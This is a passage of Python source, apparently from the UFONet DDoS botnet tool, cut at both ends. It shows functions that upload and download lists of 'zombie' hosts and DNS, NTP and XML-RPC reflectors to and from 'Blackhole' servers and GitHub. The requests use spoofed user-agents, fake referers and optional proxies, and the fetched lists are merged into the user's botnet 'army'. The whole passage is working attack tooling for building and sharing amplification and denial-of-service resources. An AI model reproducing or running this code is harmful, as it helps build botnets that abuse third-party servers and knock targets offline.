  1919. os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
  1920. time.sleep(1)
  1921. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1922. cs.connect(host, cport)
  1923. cs.send("SEND " + 'community_ntps.txt.gz')
  1924. cs.close()
  1925. f = open('botnet/community_ntps.txt.gz', "rb")
  1926. data = f.read()
  1927. f.close()
  1928. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1929. ms.connect(host, mport)
  1930. ms.send(data)
  1931. ms.close()
  1932. os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
  1933. time.sleep(1)
  1934. cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
  1935. cs.connect(host, cport)
  1936. cs.send("SEND " + 'community_dnss.txt.gz')
  1937. cs.close()
  1938. f = open('botnet/community_dnss.txt.gz', "rb")
  1939. data = f.read()
  1940. f.close()
  1941. ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  1942. ms.connect(host, mport)
  1943. ms.send(data)
  1944. ms.close()
  1945. os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
  1946. time.sleep(2) # sleep a bit more
  1947. print('-'*12 + '\n')
  1948. print("[Info] [AI] Transfer -> [DONE!]\n")
  1949. except Exception as e:
  1950. print(str(e) + "\n")
  1951. except:
  1952. print('-'*12 + '\n')
  1953. print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
  1954. return
  1955. except:
  1956. print('-'*12 + '\n')
  1957. print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
  1958. return
  1959. def update_gui_data(self):
  1960. # download all GUI stream data
  1961. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  1962. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  1963. if self.options.proxy: # set proxy
  1964. self.proxy_transport(self.options.proxy)
  1965. if self.options.timeout: # set timeout
  1966. try:
  1967. timeout = int(self.options.timeout)
  1968. except:
  1969. timeout = 5
  1970. else:
  1971. timeout = 5
  1972. if timeout < 1:
  1973. timeout = 5
  1974. if self.options.forcessl:
  1975. news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1976. news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1977. missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1978. missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1979. board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1980. board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1981. grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1982. grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1983. wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1984. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
  1985. else:
  1986. news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
  1987. news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
  1988. missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
  1989. missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
  1990. board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
  1991. board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
  1992. grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
  1993. grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
  1994. wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
  1995. wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
  1996. f = open(self.news_file, 'w')
  1997. f.write(news_reply)
  1998. f.close()
  1999. f = open(self.missions_file, 'w')
  2000. f.write(missions_reply)
  2001. f.close()
  2002. f = open(self.board_file, 'w')
  2003. f.write(board_reply)
  2004. f.close()
  2005. f = open(self.grid_file, 'w')
  2006. f.write(grid_reply)
  2007. f.close()
  2008. f = open(self.wargames_file, 'w')
  2009. f.write(wargames_reply)
  2010. f.close()
  2011. print('-'*25 + "\n")
  2012. print("[Info] [AI] GUI data correctly updated:\n")
  2013. if news_reply:
  2014. print("[Info] [AI] [News] : OK!")
  2015. if missions_reply:
  2016. print("[Info] [AI] [Missions]: OK!")
  2017. if board_reply:
  2018. print("[Info] [AI] [Board] : OK!")
  2019. if grid_reply:
  2020. print("[Info] [AI] [Grid] : OK!")
  2021. if wargames_reply:
  2022. print("[Info] [AI] [Wargames]: OK!")
  2023. print('-'*25)
  2024. print("\n[AI] "+self.exit_msg+"\n")
  2025. def downloading_list(self):
  2026. # add your mirror to protect/share/distribute... [Zombies]
  2027. try:
  2028. print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
  2029. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2030. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2031. if self.options.timeout: # set timeout
  2032. try:
  2033. timeout = int(self.options.timeout)
  2034. except:
  2035. timeout = 5
  2036. else:
  2037. timeout = 5
  2038. if timeout < 1:
  2039. timeout = 5
  2040. if self.options.proxy: # set proxy
  2041. self.proxy_transport(self.options.proxy)
  2042. if self.options.forcessl:
  2043. try:
  2044. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2045. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2046. except:
  2047. abductions_reply = ""
  2048. try:
  2049. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2050. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2051. except:
  2052. troops_reply = ""
  2053. try:
  2054. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2055. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2056. except:
  2057. robots_reply = ""
  2058. try:
  2059. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2060. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2061. except:
  2062. drones_reply = ""
  2063. try:
  2064. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2065. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2066. except:
  2067. reflectors_reply = ""
  2068. try:
  2069. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2070. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2071. except:
  2072. crystals_reply = ""
  2073. try:
  2074. req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2075. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2076. except:
  2077. warps_reply = ""
  2078. else:
  2079. try:
  2080. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
  2081. abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2082. except:
  2083. abductions_reply = ""
  2084. try:
  2085. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
  2086. troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2087. except:
  2088. troops_reply = ""
  2089. try:
  2090. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
  2091. robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2092. except:
  2093. robots_reply = ""
  2094. try:
  2095. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
  2096. drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2097. except:
  2098. drones_reply = ""
  2099. try:
  2100. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
  2101. reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2102. except:
  2103. reflectors_reply = ""
  2104. try:
  2105. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
  2106. crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2107. except:
  2108. crystals_reply = ""
  2109. try:
  2110. req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
  2111. warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
  2112. except:
  2113. warps_reply = ""
  2114. if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":
  2115. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2116. print('-'*12 + '\n')
  2117. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2118. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2119. print('-'*12 + '\n')
  2120. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2121. return
  2122. f = open('botnet/abductions.txt.gz', 'wb')
  2123. f.write(abductions_reply)
  2124. f.close()
  2125. f = open('botnet/troops.txt.gz', 'wb')
  2126. f.write(troops_reply)
  2127. f.close()
  2128. f = open('botnet/robots.txt.gz', 'wb')
  2129. f.write(robots_reply)
  2130. f.close()
  2131. f = open('botnet/drones.txt.gz', 'wb')
  2132. f.write(drones_reply)
  2133. f.close()
  2134. f = open('botnet/reflectors.txt.gz', 'wb')
  2135. f.write(reflectors_reply)
  2136. f.close()
  2137. f = open('botnet/crystals.txt.gz', 'wb')
  2138. f.write(crystals_reply)
  2139. f.close()
  2140. f = open('botnet/warps.txt.gz', 'wb')
  2141. f.write(warps_reply)
  2142. f.close()
  2143. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
  2144. except:
  2145. print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
  2146. print('-'*12 + '\n')
  2147. print("[Info] [AI] You can try to download [Zombies] from a different [Blackhole] [Server] (provided by someone!) with:\n\n ex: ufonet --down-from '<IP>'")
  2148. print("\nOr/And from a [Blackhole] [GitHub] with:\n\n ex: ufonet --download-github")
  2149. print('-'*12 + '\n')
  2150. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
  2151. return
  2152. print('-'*12 + '\n')
  2153. f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
  2154. f_out_abductions = open('botnet/abductions.txt', 'wb')
  2155. f_out_abductions.write(f_in_abductions.read())
  2156. f_in_abductions.close()
  2157. f_out_abductions.close()
  2158. os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
  2159. f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
  2160. f_out_troops = open('botnet/troops.txt', 'wb')
  2161. f_out_troops.write(f_in_troops.read())
  2162. f_in_troops.close()
  2163. f_out_troops.close()
  2164. os.remove('botnet/troops.txt.gz') # remove troops .gz file
  2165. f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
  2166. f_out_robots = open('botnet/robots.txt', 'wb')
  2167. f_out_robots.write(f_in_robots.read())
  2168. f_in_robots.close()
  2169. f_out_robots.close()
  2170. os.remove('botnet/robots.txt.gz') # remove robots .gz file
  2171. f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
  2172. f_out_drones = open('botnet/drones.txt', 'wb')
  2173. f_out_drones.write(f_in_drones.read())
  2174. f_in_drones.close()
  2175. f_out_drones.close()
  2176. os.remove('botnet/drones.txt.gz') # remove drones .gz file
  2177. f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
  2178. f_out_reflectors = open('botnet/reflectors.txt', 'wb')
  2179. f_out_reflectors.write(f_in_reflectors.read())
  2180. f_in_reflectors.close()
  2181. f_out_reflectors.close()
  2182. os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
  2183. f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
  2184. f_out_crystals = open('botnet/crystals.txt', 'wb')
  2185. f_out_crystals.write(f_in_crystals.read())
  2186. f_in_crystals.close()
  2187. f_out_crystals.close()
  2188. os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
  2189. f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
  2190. f_out_warps = open('botnet/warps.txt', 'wb')
  2191. f_out_warps.write(f_in_warps.read())
  2192. f_in_warps.close()
  2193. f_out_warps.close()
  2194. os.remove('botnet/warps.txt.gz') # remove warps .gz file
  2195. num_abductions = 0
  2196. with open('botnet/abductions.txt') as f:
  2197. for _ in f:
  2198. num_abductions = num_abductions + 1
  2199. print("[Info] Zombies: " + str(num_abductions))
  2200. num_robots = 0
  2201. with open('botnet/robots.txt') as f:
  2202. for _ in f:
  2203. num_robots = num_robots + 1
  2204. print("[Info] Droids : " + str(num_robots))
  2205. num_troops = 0
  2206. with open('botnet/troops.txt') as f:
  2207. for _ in f:
  2208. num_troops = num_troops + 1
  2209. print("[Info] Aliens : " + str(num_troops))
  2210. num_drones = 0
  2211. with open('botnet/drones.txt') as f:
  2212. for _ in f:
  2213. num_drones = num_drones + 1
  2214. print("[Info] UCAVs : " + str(num_drones))
  2215. num_reflectors = 0
  2216. with open('botnet/reflectors.txt') as f:
  2217. for _ in f:
  2218. num_reflectors = num_reflectors + 1
  2219. print("[Info] X-RPCs : " + str(num_reflectors))
  2220. num_crystals = 0
  2221. with open('botnet/crystals.txt') as f:
  2222. for _ in f:
  2223. num_crystals = num_crystals + 1
  2224. print("[Info] DNSs : " + str(num_crystals))
  2225. num_warps = 0
  2226. with open('botnet/warps.txt') as f:
  2227. for _ in f:
  2228. num_warps = num_warps + 1
  2229. print("[Info] NTPs : " + str(num_warps))
  2230. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2231. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2232. print('-'*12)
  2233. if not self.options.forceyes:
  2234. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2235. print('-'*25)
  2236. else:
  2237. update_reply = "Y"
  2238. if update_reply == "n" or update_reply == "N":
  2239. os.remove('botnet/abductions.txt') # remove abductions file
  2240. os.remove('botnet/troops.txt') # remove troops file
  2241. os.remove('botnet/robots.txt') # remove robots file
  2242. os.remove('botnet/drones.txt') # remove drones file
  2243. os.remove('botnet/reflectors.txt') # remove reflectors file
  2244. os.remove('botnet/crystals.txt') # remove crystals file
  2245. os.remove('botnet/warps.txt') # remove warps file
  2246. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2247. print('-'*25)
  2248. print("\n[AI] "+self.exit_msg+"\n")
  2249. else:
  2250. zombies_ready = []
  2251. f = open('botnet/abductions.txt')
  2252. abductions = f.readlines()
  2253. f.close()
  2254. fz = open(self.zombies_file)
  2255. zombies = fz.readlines()
  2256. fz.close()
  2257. for abduction in abductions:
  2258. abduction = abduction.replace('\n','')
  2259. if abduction not in zombies:
  2260. zombies_ready.append(abduction)
  2261. else:
  2262. pass
  2263. self.update_zombies(zombies_ready)
  2264. os.remove('botnet/abductions.txt') # remove abductions .txt file
  2265. aliens_ready = []
  2266. f = open('botnet/troops.txt')
  2267. troops = f.readlines()
  2268. f.close()
  2269. fz = open(self.aliens_file)
  2270. aliens = fz.readlines()
  2271. fz.close()
  2272. for alien in troops:
  2273. alien = alien.replace('\n','')
  2274. if alien not in aliens:
  2275. aliens_ready.append(alien)
  2276. else:
  2277. pass
  2278. self.update_aliens(aliens_ready)
  2279. os.remove('botnet/troops.txt') # remove troops .txt file
  2280. droids_ready = []
  2281. f = open('botnet/robots.txt')
  2282. robots = f.readlines()
  2283. f.close()
  2284. fz = open(self.droids_file)
  2285. droids = fz.readlines()
  2286. fz.close()
  2287. for droid in robots:
  2288. droid = droid.replace('\n','')
  2289. if droid not in droids:
  2290. droids_ready.append(droid)
  2291. else:
  2292. pass
  2293. self.update_droids(droids_ready)
  2294. os.remove('botnet/robots.txt') # remove robots .txt file
  2295. ucavs_ready = []
  2296. f = open('botnet/drones.txt')
  2297. drones = f.readlines()
  2298. f.close()
  2299. fz = open(self.ucavs_file)
  2300. ucavs = fz.readlines()
  2301. fz.close()
  2302. for drone in drones:
  2303. drone = drone.replace('\n','')
  2304. if drone not in ucavs:
  2305. ucavs_ready.append(drone)
  2306. else:
  2307. pass
  2308. self.update_ucavs(ucavs_ready)
  2309. os.remove('botnet/drones.txt') # remove drones .txt file
  2310. rpcs_ready = []
  2311. f = open('botnet/reflectors.txt')
  2312. reflectors = f.readlines()
  2313. f.close()
  2314. fz = open(self.rpcs_file)
  2315. rpcs = fz.readlines()
  2316. fz.close()
  2317. for reflector in reflectors:
  2318. reflector = reflector.replace('\n','')
  2319. if reflector not in rpcs:
  2320. rpcs_ready.append(reflector)
  2321. else:
  2322. pass
  2323. self.update_rpcs(rpcs_ready)
  2324. os.remove('botnet/reflectors.txt') # remove reflectors .txt file
  2325. dnss_ready = []
  2326. f = open('botnet/crystals.txt')
  2327. crystals = f.readlines()
  2328. f.close()
  2329. fz = open(self.dnss_file)
  2330. dnss = fz.readlines()
  2331. fz.close()
  2332. for crystal in crystals:
  2333. crystal = crystal.replace('\n','')
  2334. if crystal not in dnss:
  2335. dnss_ready.append(crystal)
  2336. else:
  2337. pass
  2338. self.update_dnss(dnss_ready)
  2339. os.remove('botnet/crystals.txt') # remove crystals .txt file
  2340. ntps_ready = []
  2341. f = open('botnet/warps.txt')
  2342. warps = f.readlines()
  2343. f.close()
  2344. fz = open(self.ntps_file)
  2345. ntps = fz.readlines()
  2346. fz.close()
  2347. for warp in warps:
  2348. warp = warp.replace('\n','')
  2349. if warp not in ntps:
  2350. ntps_ready.append(warp)
  2351. else:
  2352. pass
  2353. self.update_ntps(ntps_ready)
  2354. os.remove('botnet/warps.txt') # remove warps .txt file
  2355. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2356. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2357. if not self.options.forceyes: # ask for update everything
  2358. print('-'*25 + "\n")
  2359. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2360. else:
  2361. update_reply = "Y"
  2362. if update_reply == "n" or update_reply == "N":
  2363. print("\n[AI] "+self.exit_msg+"\n")
  2364. return
  2365. else:
  2366. try:
  2367. update_gui = self.update_gui_data() # update GUI data
  2368. except:
  2369. print('-'*25 +"\n")
  2370. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2371. print('-'*25)
  2372. print("\n[AI] "+self.exit_msg+"\n")
  2373. return
  2374. def downloading_github_list(self):
  2375. # add your mirror to protect/share/distribute... [Zombies]
  2376. try:
  2377. print(("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n"))
  2378. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2379. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2380. if self.options.timeout: # set timeout
  2381. try:
  2382. timeout = int(self.options.timeout)
  2383. except:
  2384. timeout = 5
  2385. else:
  2386. timeout = 5
  2387. if timeout < 1:
  2388. timeout = 5
  2389. if self.options.proxy: # set proxy
  2390. self.proxy_transport(self.options.proxy)
  2391. try:
  2392. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  2393. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2394. except:
  2395. zombies_reply = ""
  2396. try:
  2397. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  2398. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2399. except:
  2400. aliens_reply = ""
  2401. try:
  2402. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  2403. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2404. except:
  2405. dns_reply = ""
  2406. try:
  2407. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  2408. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2409. except:
  2410. droids_reply = ""
  2411. try:
  2412. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  2413. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2414. except:
  2415. rpcs_reply = ""
  2416. try:
  2417. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  2418. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2419. except:
  2420. ucavs_reply = ""
  2421. try:
  2422. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  2423. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  2424. except:
  2425. ntp_reply = ""
  2426. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "":
  2427. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2428. print('-'*12 + '\n')
  2429. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2430. return
  2431. f = open('botnet/abductions.txt', 'w') # zombies
  2432. f.write(zombies_reply)
  2433. f.close()
  2434. f = open('botnet/troops.txt', 'w') # aliens
  2435. f.write(aliens_reply)
  2436. f.close()
  2437. f = open('botnet/crystals.txt', 'w') # dns
  2438. f.write(dns_reply)
  2439. f.close()
  2440. f = open('botnet/robots.txt', 'w') # droids
  2441. f.write(droids_reply)
  2442. f.close()
  2443. f = open('botnet/drones.txt', 'w') # ucavs
  2444. f.write(ucavs_reply)
  2445. f.close()
  2446. f = open('botnet/reflectors.txt', 'w') # rpcs
  2447. f.write(rpcs_reply)
  2448. f.close()
  2449. f = open('botnet/warps.txt', 'w') # ntp
  2450. f.write(ntp_reply)
  2451. f.close()
  2452. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  2453. except:
  2454. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  2455. print('-'*12 + '\n')
  2456. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  2457. return
  2458. print('-'*12 + '\n')
  2459. num_abductions = 0
  2460. with open('botnet/abductions.txt') as f: # zombies
  2461. for _ in f:
  2462. num_abductions = num_abductions + 1
  2463. print("[Info] Zombies: " + str(num_abductions))
  2464. num_troops = 0
  2465. with open('botnet/troops.txt') as f: # aliens
  2466. for _ in f:
  2467. num_troops = num_troops + 1
  2468. print("[Info] Aliens : " + str(num_troops))
  2469. num_robots = 0
  2470. with open('botnet/robots.txt') as f: # droids
  2471. for _ in f:
  2472. num_robots = num_robots + 1
  2473. print("[Info] Droids : " + str(num_robots))
  2474. num_drones = 0
  2475. with open('botnet/drones.txt') as f: # ucavs
  2476. for _ in f:
  2477. num_drones = num_drones + 1
  2478. print("[Info] UCAVs : " + str(num_drones))
  2479. num_reflectors = 0
  2480. with open('botnet/reflectors.txt') as f: # rpcs
  2481. for _ in f:
  2482. num_reflectors = num_reflectors + 1
  2483. print("[Info] X-RPCs : " + str(num_reflectors))
  2484. num_crystals = 0
  2485. with open('botnet/crystals.txt') as f: # dns
  2486. for _ in f:
  2487. num_crystals = num_crystals + 1
  2488. print("[Info] DNSs : " + str(num_crystals))
  2489. num_warps = 0
  2490. with open('botnet/warps.txt') as f: # ntp
  2491. for _ in f:
  2492. num_warps = num_warps + 1
  2493. print("[Info] NTPs : " + str(num_warps))
  2494. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps
  2495. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  2496. print('-'*12)
  2497. if not self.options.forceyes:
  2498. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  2499. print('-'*25)
  2500. else:
  2501. update_reply = "Y"
  2502. if update_reply == "n" or update_reply == "N":
  2503. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2504. os.remove('botnet/troops.txt') # remove aliens/troops file
  2505. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2506. os.remove('botnet/robots.txt') # remove droids/robots file
  2507. os.remove('botnet/drones.txt') # remove ucavs/drones file
  2508. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  2509. os.remove('botnet/warps.txt') # remove ntp/warps file
  2510. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  2511. print('-'*25)
  2512. print("\n[AI] "+self.exit_msg+"\n")
  2513. else:
  2514. zombies_ready = []
  2515. f = open('botnet/abductions.txt')
  2516. abductions = f.readlines()
  2517. f.close()
  2518. fz = open(self.zombies_file)
  2519. zombies = fz.readlines()
  2520. fz.close()
  2521. for abduction in abductions:
  2522. abduction = abduction.replace('\n','')
  2523. if abduction not in zombies:
  2524. zombies_ready.append(abduction)
  2525. else:
  2526. pass
  2527. self.update_zombies(zombies_ready)
  2528. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  2529. aliens_ready = []
  2530. f = open('botnet/troops.txt')
  2531. troops = f.readlines()
  2532. f.close()
  2533. fz = open(self.aliens_file)
  2534. aliens = fz.readlines()
  2535. fz.close()
  2536. for alien in troops:
  2537. alien = alien.replace('\n','')
  2538. if alien not in aliens:
  2539. aliens_ready.append(alien)
  2540. else:
  2541. pass
  2542. self.update_aliens(aliens_ready)
  2543. os.remove('botnet/troops.txt') # remove aliens/troops file
  2544. dnss_ready = []
  2545. f = open('botnet/crystals.txt')
  2546. crystals = f.readlines()
  2547. f.close()
  2548. fz = open(self.dnss_file)
  2549. dnss = fz.readlines()
  2550. fz.close()
  2551. for crystal in crystals:
  2552. crystal = crystal.replace('\n','')
  2553. if crystal not in dnss:
  2554. dnss_ready.append(crystal)
  2555. else:
  2556. pass
  2557. self.update_dnss(dnss_ready)
  2558. os.remove('botnet/crystals.txt') # remove dns/crystals file
  2559. droids_ready = []
  2560. f = open('botnet/robots.txt')
  2561. robots = f.readlines()
  2562. f.close()
  2563. fz = open(self.droids_file)
  2564. droids = fz.readlines()
  2565. fz.close()
  2566. for droid in robots:
  2567. droid = droid.replace('\n','')
  2568. if droid not in droids:
  2569. droids_ready.append(droid)
  2570. else:
  2571. pass
  2572. self.update_droids(droids_ready)
  2573. os.remove('botnet/robots.txt') # remove droids/robots file
  2574. ucavs_ready = []
  2575. f = open('botnet/drones.txt')
  2576. drones = f.readlines()
  2577. f.close()
  2578. fz = open(self.ucavs_file)
  2579. ucavs = fz.readlines()
  2580. fz.close()
  2581. for drone in drones:
  2582. drone = drone.replace('\n','')
  2583. if drone not in ucavs:
  2584. ucavs_ready.append(drone)
  2585. else:
  2586. pass
  2587. self.update_ucavs(ucavs_ready)
  2588. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2589. rpcs_ready = []
  2590. f = open('botnet/reflectors.txt')
  2591. reflectors = f.readlines()
  2592. f.close()
  2593. fz = open(self.rpcs_file)
  2594. rpcs = fz.readlines()
  2595. fz.close()
  2596. for reflector in reflectors:
  2597. reflector = reflector.replace('\n','')
  2598. if reflector not in rpcs:
  2599. rpcs_ready.append(reflector)
  2600. else:
  2601. pass
  2602. self.update_rpcs(rpcs_ready)
  2603. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2604. ntps_ready = []
  2605. f = open('botnet/warps.txt')
  2606. warps = f.readlines()
  2607. f.close()
  2608. fz = open(self.ntps_file)
  2609. ntps = fz.readlines()
  2610. fz.close()
  2611. for warp in warps:
  2612. warp = warp.replace('\n','')
  2613. if warp not in ntps:
  2614. ntps_ready.append(warp)
  2615. else:
  2616. pass
  2617. self.update_ntps(ntps_ready)
  2618. os.remove('botnet/warps.txt') # remove NTP/warps file
  2619. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2620. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2621. if not self.options.forceyes: # ask for update everything
  2622. print('-'*25 + "\n")
  2623. update_reply = input("[AI] You would also like to update other content: [News] [Grid] [Board]... (Y/n)")
  2624. else:
  2625. update_reply = "Y"
  2626. if update_reply == "n" or update_reply == "N":
  2627. print("\n[AI] "+self.exit_msg+"\n")
  2628. return
  2629. else:
  2630. try:
  2631. update_gui = self.update_gui_data() # update GUI data
  2632. except:
  2633. print('-'*25 +"\n")
  2634. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2635. print('-'*25)
  2636. print("\n[AI] "+self.exit_msg+"\n")
  2637. return
  2638. def uploading_github_list(self):
  2639. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2640. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2641. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2642. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2643. print('='*22 + '\n')
